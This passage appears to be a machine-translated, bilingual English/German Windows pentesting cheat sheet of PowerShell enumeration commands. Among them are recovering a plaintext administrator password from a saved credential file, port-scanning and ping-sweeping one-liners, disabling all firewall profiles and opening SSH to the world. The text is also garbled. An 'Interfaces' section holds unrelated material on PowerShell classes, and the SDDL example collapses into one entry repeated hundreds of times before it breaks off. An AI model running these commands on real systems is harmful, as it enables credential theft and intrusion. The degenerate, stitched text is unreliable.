Der Server Message Block (SMB) ist ein Netzwerkprotokoll, das für die Dateifreigabe, die Druckerfreigabe und die Kommunikation zwischen Computern in einem Windows-Netzwerk verwendet wird. SMB ermöglicht es Computern, Dateien und Ressourcen über ein Netzwerk freizugeben und wird häufig zum Zugriff auf freigegebene Ordner und Drucker verwendet.

Telnet

Telnet

Telnet is a network protocol used to establish a remote shell session or a virtual terminal connection to a remote host. Telnet allows users to access and manage remote systems over a network connection.

Telnet ist ein Netzwerkprotokoll, das verwendet wird, um eine Remote-Shell-Sitzung oder eine virtuelle Terminalverbindung zu einem entfernten Host herzustellen. Telnet ermöglicht Benutzern den Zugriff auf und die Verwaltung von entfernten Systemen über eine Netzwerkverbindung.

Virtual Network Computing (VNC)

Virtual Network Computing (VNC)

Virtual Network Computing (VNC) is a graphical desktop sharing system that allows users to remotely control another computer's desktop. VNC provides a platform-independent way of accessing and managing remote desktops.

Virtual Network Computing (VNC) ist ein grafisches Desktop-Sharing-System, das Benutzern ermöglicht, den Desktop eines anderen Computers remote zu steuern. VNC bietet eine plattformunabhängige Möglichkeit zum Zugriff auf und zur Verwaltung von Remote-Desktops.

Windows Remote Management (WinRM)

Windows Remote Management (WinRM)

Windows Remote Management (WinRM) is a Microsoft implementation of the WS-Management protocol. It allows administrators to remotely manage computers running Windows operating systems. WinRM provides a command-line interface and a scripting API for managing remote systems.

Windows Remote Management (WinRM) ist eine Microsoft-Implementierung des WS-Management-Protokolls. Es ermöglicht Administratoren, Computer mit Windows-Betriebssystemen remote zu verwalten. WinRM bietet eine Befehlszeilenschnittstelle und eine Skript-API zum Verwalten von Remote-Systemen.

Conclusion

Fazit

Understanding the different services that can be found in a Windows environment is essential for a successful penetration test. By familiarizing yourself with these services, you will be better equipped to identify potential vulnerabilities and exploit them effectively.

Das Verständnis der verschiedenen Dienste, die in einer Windows-Umgebung zu finden sind, ist für einen erfolgreichen Penetrationstest unerlässlich. Indem Sie sich mit diesen Diensten vertraut machen, sind Sie besser in der Lage, potenzielle Schwachstellen zu identifizieren und sie effektiv auszunutzen.

Get-Service

Passwort aus sicherer Zeichenfolge

Manchmal müssen Sie möglicherweise ein Passwort aus einer sicheren Zeichenfolge extrahieren, um es in einem Skript oder einer Anwendung zu verwenden. PowerShell bietet eine einfache Möglichkeit, dies zu tun.

Verwenden Sie den folgenden Befehl, um eine sichere Zeichenfolge in ein Klartext-Passwort umzuwandeln:

$secureString = ConvertTo-SecureString -String "SecurePassword" -AsPlainText -Force
$password = [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))

Ersetzen Sie "SecurePassword" durch Ihre eigene sichere Zeichenfolge. Das Passwort wird dann in der Variable $password gespeichert und kann in Ihrem Skript oder Ihrer Anwendung verwendet werden.

$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password

Geplante Aufgaben

Scheduled tasks are a powerful feature in Windows that allow you to automate the execution of scripts, programs, or commands at specific times or intervals. They can be used for various purposes, such as system maintenance, data backups, or even malicious activities during a penetration test.

Geplante Aufgaben sind eine leistungsstarke Funktion in Windows, mit der Sie die Ausführung von Skripten, Programmen oder Befehlen zu bestimmten Zeiten oder Intervallen automatisieren können. Sie können für verschiedene Zwecke verwendet werden, wie z.B. Systemwartung, Datensicherungen oder sogar bösartige Aktivitäten während eines Penetrationstests.

Viewing Scheduled Tasks

Anzeigen geplanter Aufgaben

To view the list of scheduled tasks on a Windows system, you can use the schtasks command in PowerShell. Here's an example:

Um die Liste der geplanten Aufgaben auf einem Windows-System anzuzeigen, können Sie den Befehl schtasks in PowerShell verwenden. Hier ist ein Beispiel:

schtasks /query /fo LIST /v

This command will display detailed information about each scheduled task, including the task name, status, triggers, and actions.

Dieser Befehl zeigt detaillierte Informationen zu jeder geplanten Aufgabe an, einschließlich des Aufgabennamens, des Status, der Auslöser und der Aktionen.

Creating Scheduled Tasks

Erstellen geplanter Aufgaben

To create a new scheduled task, you can use the schtasks command with the /create parameter. Here's an example:

Um eine neue geplante Aufgabe zu erstellen, können Sie den Befehl schtasks mit dem Parameter /create verwenden. Hier ist ein Beispiel:

schtasks /create /tn "MyTask" /tr "C:\path\to\script.ps1" /sc DAILY /st 08:00

This command will create a new scheduled task named "MyTask" that runs the script located at "C:\path\to\script.ps1" every day at 08:00.

Dieser Befehl erstellt eine neue geplante Aufgabe mit dem Namen "MyTask", die das Skript unter "C:\path\to\script.ps1" täglich um 08:00 Uhr ausführt.

Modifying Scheduled Tasks

Ändern geplanter Aufgaben

To modify an existing scheduled task, you can use the schtasks command with the /change parameter. Here's an example:

Um eine vorhandene geplante Aufgabe zu ändern, können Sie den Befehl schtasks mit dem Parameter /change verwenden. Hier ist ein Beispiel:

schtasks /change /tn "MyTask" /tr "C:\path\to\new_script.ps1"

This command will modify the scheduled task named "MyTask" to run the new script located at "C:\path\to\new_script.ps1".

Dieser Befehl ändert die geplante Aufgabe mit dem Namen "MyTask" so, dass das neue Skript unter "C:\path\to\new_script.ps1" ausgeführt wird.

Deleting Scheduled Tasks

Löschen geplanter Aufgaben

To delete a scheduled task, you can use the schtasks command with the /delete parameter. Here's an example:

Um eine geplante Aufgabe zu löschen, können Sie den Befehl schtasks mit dem Parameter /delete verwenden. Hier ist ein Beispiel:

schtasks /delete /tn "MyTask" /f

This command will delete the scheduled task named "MyTask" forcefully (/f).

Dieser Befehl löscht die geplante Aufgabe mit dem Namen "MyTask" erzwungenermaßen (/f).

Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

Portscan

Ein Portscan ist ein Verfahren, bei dem versucht wird, offene Ports auf einem Netzwerkgerät zu identifizieren. Dies ermöglicht es einem Angreifer, potenzielle Schwachstellen zu finden und mögliche Angriffsvektoren zu erkennen. Es gibt verschiedene Tools und Techniken, um einen Portscan durchzuführen, darunter:

  • TCP-Scans: Bei einem TCP-Scan werden TCP-Verbindungen zu verschiedenen Ports auf einem Zielgerät hergestellt, um festzustellen, ob der Port geöffnet oder geschlossen ist. Dies kann mit Tools wie Nmap oder hping3 durchgeführt werden.

  • UDP-Scans: Bei einem UDP-Scan werden UDP-Pakete an verschiedene Ports auf einem Zielgerät gesendet, um festzustellen, ob der Port geöffnet oder geschlossen ist. Dies kann mit Tools wie Nmap oder hping3 durchgeführt werden.

  • SYN-Scans: Bei einem SYN-Scan wird eine Verbindung zu einem Zielgerät hergestellt, indem ein SYN-Paket gesendet wird. Wenn das Zielgerät ein SYN/ACK-Paket als Antwort sendet, ist der Port geöffnet. Wenn das Zielgerät ein RST-Paket sendet, ist der Port geschlossen. Dies kann mit Tools wie Nmap oder hping3 durchgeführt werden.

  • ACK-Scans: Bei einem ACK-Scan wird ein ACK-Paket an einen bestimmten Port auf einem Zielgerät gesendet. Wenn das Zielgerät ein RST-Paket sendet, ist der Port geschlossen. Wenn das Zielgerät kein RST-Paket sendet, ist der Port geöffnet. Dies kann mit Tools wie Nmap oder hping3 durchgeführt werden.

  • FIN-Scans: Bei einem FIN-Scan wird ein FIN-Paket an einen bestimmten Port auf einem Zielgerät gesendet. Wenn das Zielgerät ein RST-Paket sendet, ist der Port geschlossen. Wenn das Zielgerät kein RST-Paket sendet, ist der Port geöffnet. Dies kann mit Tools wie Nmap oder hping3 durchgeführt werden.

  • XMAS-Scans: Bei einem XMAS-Scan werden FIN, URG und PUSH-Flags in einem TCP-Paket gesetzt und an einen bestimmten Port auf einem Zielgerät gesendet. Wenn das Zielgerät ein RST-Paket sendet, ist der Port geschlossen. Wenn das Zielgerät kein RST-Paket sendet, ist der Port geöffnet. Dies kann mit Tools wie Nmap oder hping3 durchgeführt werden.

  • NULL-Scans: Bei einem NULL-Scan wird ein TCP-Paket ohne Flags an einen bestimmten Port auf einem Zielgerät gesendet. Wenn das Zielgerät ein RST-Paket sendet, ist der Port geschlossen. Wenn das Zielgerät kein RST-Paket sendet, ist der Port geöffnet. Dies kann mit Tools wie Nmap oder hping3 durchgeführt werden.

Es ist wichtig zu beachten, dass das Durchführen eines Portscans ohne Zustimmung des Eigentümers des Zielgeräts illegal sein kann. Es ist immer ratsam, vor dem Durchführen eines Portscans die entsprechenden rechtlichen und ethischen Richtlinien zu beachten.

# Check Port or Single IP
Test-NetConnection -Port 80 10.10.10.10

# Check Port List in Single IP
80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null

# Check Port Range in single IP
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null

# Check Port List in IP Lists - 80,443,445,8080
"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}

Schnittstellen

Eine Schnittstelle definiert die Methoden und Eigenschaften, die ein Objekt bereitstellt, um mit anderen Objekten zu interagieren. In PowerShell können Schnittstellen mit dem interface-Schlüsselwort definiert werden.

interface IExampleInterface {
    [string] GetInfo()
    [void] DoSomething()
}

Um eine Schnittstelle zu implementieren, muss eine Klasse das interface-Schlüsselwort verwenden und alle Methoden und Eigenschaften der Schnittstelle implementieren.

class ExampleClass : IExampleInterface {
    [string] GetInfo() {
        return "Information from ExampleClass"
    }

    [void] DoSomething() {
        Write-Host "Doing something..."
    }
}

Eine Klasse kann mehrere Schnittstellen implementieren, indem sie sie mit Kommas trennt.

class ExampleClass : IExampleInterface, IOtherInterface {
    # Implement methods and properties
}

Schnittstellen ermöglichen es, Code modularer zu gestalten und die Wiederverwendbarkeit von Klassen zu verbessern. Sie definieren einen Vertrag, den eine Klasse erfüllen muss, um als bestimmter Typ betrachtet zu werden.

Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Firewall

Eine Firewall ist eine Sicherheitsvorrichtung, die den Datenverkehr zwischen einem internen Netzwerk und einem externen Netzwerk überwacht und kontrolliert. Sie dient dazu, unerwünschten Datenverkehr zu blockieren und das interne Netzwerk vor potenziellen Angriffen zu schützen.

In Windows gibt es verschiedene Arten von Firewalls, darunter die integrierte Windows-Firewall und Drittanbieter-Firewalls. Die Windows-Firewall ist standardmäßig aktiviert und bietet grundlegende Schutzfunktionen. Es ist jedoch wichtig, die Firewall-Einstellungen zu überprüfen und anzupassen, um eine optimale Sicherheit zu gewährleisten.

Windows-Firewall aktivieren/deaktivieren

Um die Windows-Firewall zu aktivieren oder zu deaktivieren, können Sie die folgenden PowerShell-Befehle verwenden:

# Firewall aktivieren
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True

# Firewall deaktivieren
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False

Firewall-Regeln hinzufügen

Sie können auch benutzerdefinierte Firewall-Regeln hinzufügen, um den Datenverkehr zu steuern. Hier ist ein Beispiel für das Hinzufügen einer eingehenden Regel, um den Zugriff auf einen bestimmten Port zu ermöglichen:

# Eingehende Regel hinzufügen
New-NetFirewallRule -DisplayName "Allow Port 8080" -Direction Inbound -LocalPort 8080 -Protocol TCP -Action Allow

Firewall-Regeln anzeigen

Um die vorhandenen Firewall-Regeln anzuzeigen, verwenden Sie den folgenden Befehl:

Get-NetFirewallRule

Dies zeigt eine Liste aller Firewall-Regeln mit ihren Eigenschaften an.

Firewall-Status überprüfen

Um den Status der Windows-Firewall zu überprüfen, verwenden Sie den folgenden Befehl:

Get-NetFirewallProfile | Select-Object Name, Enabled

Dies zeigt den Namen und den Aktivierungsstatus der Firewall-Profile an.

Es ist wichtig, die Firewall-Einstellungen regelmäßig zu überprüfen und sicherzustellen, dass sie den Sicherheitsanforderungen entsprechen. Eine gut konfigurierte Firewall ist ein wesentlicher Bestandteil der Sicherheit eines Windows-Systems.

Get-NetFirewallRule -Enabled True

Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow

# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow

# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property  DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action

Route

Die Route-Funktion in PowerShell ermöglicht es Ihnen, die Routing-Tabelle eines Windows-Systems anzuzeigen und zu verwalten. Sie können Informationen über die Netzwerkverbindungen, Gateways und Schnittstellen erhalten.

Routing-Tabelle anzeigen

Um die Routing-Tabelle anzuzeigen, verwenden Sie den Befehl Get-NetRoute. Dieser Befehl gibt eine Liste aller Routen auf dem System aus, einschließlich der Zielnetzwerke, Subnetzmasken, Gateways und Schnittstellen.

Get-NetRoute

Neue Route hinzufügen

Um eine neue Route hinzuzufügen, verwenden Sie den Befehl New-NetRoute. Sie müssen das Zielnetzwerk, die Subnetzmaske, das Gateway und die Schnittstelle angeben.

New-NetRoute -DestinationPrefix <Zielnetzwerk> -InterfaceIndex <Schnittstellenindex> -NextHop <Gateway> -RouteMetric <Metrik>

Route löschen

Um eine Route zu löschen, verwenden Sie den Befehl Remove-NetRoute. Sie müssen das Zielnetzwerk, die Subnetzmaske, das Gateway und die Schnittstelle angeben.

Remove-NetRoute -DestinationPrefix <Zielnetzwerk> -InterfaceIndex <Schnittstellenindex> -NextHop <Gateway>

Beispiel

Hier ist ein Beispiel, wie Sie eine neue Route hinzufügen können:

New-NetRoute -DestinationPrefix 10.0.0.0/24 -InterfaceIndex 2 -NextHop 192.168.1.1 -RouteMetric 10

Dieser Befehl fügt eine Route für das Zielnetzwerk 10.0.0.0/24 hinzu, verwendet die Schnittstelle mit dem Index 2, das Gateway 192.168.1.1 und eine Metrik von 10.

Weitere Informationen

Weitere Informationen zur Route-Funktion in PowerShell finden Sie in der offiziellen Microsoft-Dokumentation.

route print

ARP

ARP (Address Resolution Protocol) ist ein Netzwerkprotokoll, das verwendet wird, um die MAC-Adresse (Media Access Control) eines Geräts in einem lokalen Netzwerk zu ermitteln. Es ermöglicht die Zuordnung einer IP-Adresse zu einer physischen MAC-Adresse.

ARP-Spoofing ist eine Technik, bei der ein Angreifer gefälschte ARP-Nachrichten sendet, um den Datenverkehr in einem Netzwerk umzuleiten. Dies kann verwendet werden, um Man-in-the-Middle-Angriffe durchzuführen und den Datenverkehr zwischen zwei Kommunikationspartnern abzufangen oder zu manipulieren.

Um ARP-Spoofing zu erkennen, können Tools wie ARPWatch oder ARPScan verwendet werden. Diese Tools überwachen das Netzwerk auf verdächtige ARP-Aktivitäten und warnen den Administrator, wenn ein Angriff erkannt wird.

Um sich vor ARP-Spoofing-Angriffen zu schützen, können verschiedene Maßnahmen ergriffen werden, wie z.B. die Verwendung von statischen ARP-Einträgen, die Aktivierung von Port-Security auf Netzwerkswitches oder die Verwendung von Verschlüsselungstechnologien wie VPN (Virtual Private Network).

Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

Hosts

Die Datei hosts ist eine Textdatei, die auf Windows-Systemen verwendet wird, um die Zuordnung von IP-Adressen zu Hostnamen zu steuern. Sie wird normalerweise verwendet, um die Auflösung von Hostnamen zu IP-Adressen zu beeinflussen, bevor eine DNS-Anfrage gesendet wird. Die Datei hosts befindet sich normalerweise im Verzeichnis C:\Windows\System32\drivers\etc und kann mit einem Texteditor wie Notepad geöffnet und bearbeitet werden.

In der Datei hosts können Sie IP-Adressen und Hostnamen hinzufügen, um die DNS-Auflösung zu umgehen oder umzuleiten. Dies kann nützlich sein, um den Zugriff auf bestimmte Websites zu blockieren oder um eine Website auf eine andere IP-Adresse umzuleiten.

Es ist wichtig zu beachten, dass Änderungen an der Datei hosts nur auf dem lokalen System wirksam sind und nicht auf andere Systeme im Netzwerk angewendet werden.

Get-Content C:\WINDOWS\System32\drivers\etc\hosts

Ping

Ping ist ein Befehl, der verwendet wird, um die Erreichbarkeit eines Netzwerkgeräts zu überprüfen. Es sendet ICMP Echo Request-Pakete an das Zielgerät und erwartet ICMP Echo Reply-Pakete als Antwort. Dieser Befehl kann verwendet werden, um die Latenzzeit zwischen dem Absenden eines Pakets und dem Empfangen einer Antwort zu messen. Es kann auch verwendet werden, um festzustellen, ob ein bestimmtes Gerät in einem Netzwerk erreichbar ist.

Syntax

ping <Zieladresse>

Beispiel

ping 192.168.0.1

Dieser Befehl sendet ICMP Echo Request-Pakete an die IP-Adresse 192.168.0.1 und erwartet ICMP Echo Reply-Pakete als Antwort. Die Ausgabe zeigt die Anzahl der gesendeten Pakete, die Anzahl der empfangenen Pakete, den Verlustprozentsatz und die durchschnittliche Latenzzeit für jede Antwort an.

$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }

SNMP

SNMP (Simple Network Management Protocol) ist ein Protokoll, das zur Verwaltung und Überwachung von Netzwerkgeräten verwendet wird. Es ermöglicht die Kommunikation zwischen einem Netzwerkmanagement-System (NMS) und den verwalteten Geräten. SNMP ermöglicht es Administratoren, Informationen über den Zustand und die Leistung der Geräte abzurufen und Konfigurationsänderungen vorzunehmen.

SNMP besteht aus drei Hauptkomponenten: dem SNMP-Manager, dem SNMP-Agenten und dem Management Information Base (MIB). Der SNMP-Manager ist die zentrale Steuerungseinheit, die die Kommunikation mit den Agenten verwaltet. Der SNMP-Agent ist eine Softwarekomponente, die auf den verwalteten Geräten läuft und Informationen über den Gerätezustand sammelt und an den Manager sendet. Die MIB ist eine Datenbank, die die Struktur und den Inhalt der von den Agenten gesammelten Informationen definiert.

SNMP verwendet eine Client-Server-Architektur, bei der der Manager Anfragen an den Agenten sendet und dieser die angeforderten Informationen zurückgibt. Die Kommunikation erfolgt über das User Datagram Protocol (UDP) auf Port 161.

SNMP bietet verschiedene Versionen, darunter SNMPv1, SNMPv2c und SNMPv3. SNMPv1 ist die ursprüngliche Version und bietet grundlegende Funktionen zur Überwachung und Konfiguration von Geräten. SNMPv2c erweitert die Funktionen von SNMPv1 und bietet zusätzliche Sicherheitsfunktionen. SNMPv3 ist die sicherste Version und bietet Verschlüsselung und Authentifizierung für die Kommunikation zwischen Manager und Agent.

SNMP kann von Pentestern genutzt werden, um Informationen über Netzwerkgeräte zu sammeln, Schwachstellen zu identifizieren und Konfigurationsänderungen vorzunehmen. Es ist wichtig, SNMP sicher zu konfigurieren, um unbefugten Zugriff und potenzielle Angriffe zu verhindern.

Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

Konvertieren des SDDL-Strings in ein lesbares Format

Um den SDDL-String in ein lesbares Format zu konvertieren, können Sie das PowerShell-Skript ConvertFrom-SddlString verwenden. Dieses Skript ermöglicht es Ihnen, die Berechtigungen und Zugriffssteuerungseinträge (ACEs) im SDDL-Format in eine lesbare Darstellung umzuwandeln.

Verwendung

  1. Öffnen Sie eine PowerShell-Eingabeaufforderung.

  2. Führen Sie den folgenden Befehl aus, um das ConvertFrom-SddlString-Skript zu laden:

. .\ConvertFrom-SddlString.ps1
  1. Geben Sie den SDDL-String ein, den Sie konvertieren möchten, und drücken Sie die Eingabetaste.

ConvertFrom-SddlString -SddlString "<SDDL-String>"

Beispiel

Angenommen, Sie haben den folgenden SDDL-String:

O:BAG:BAD:(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;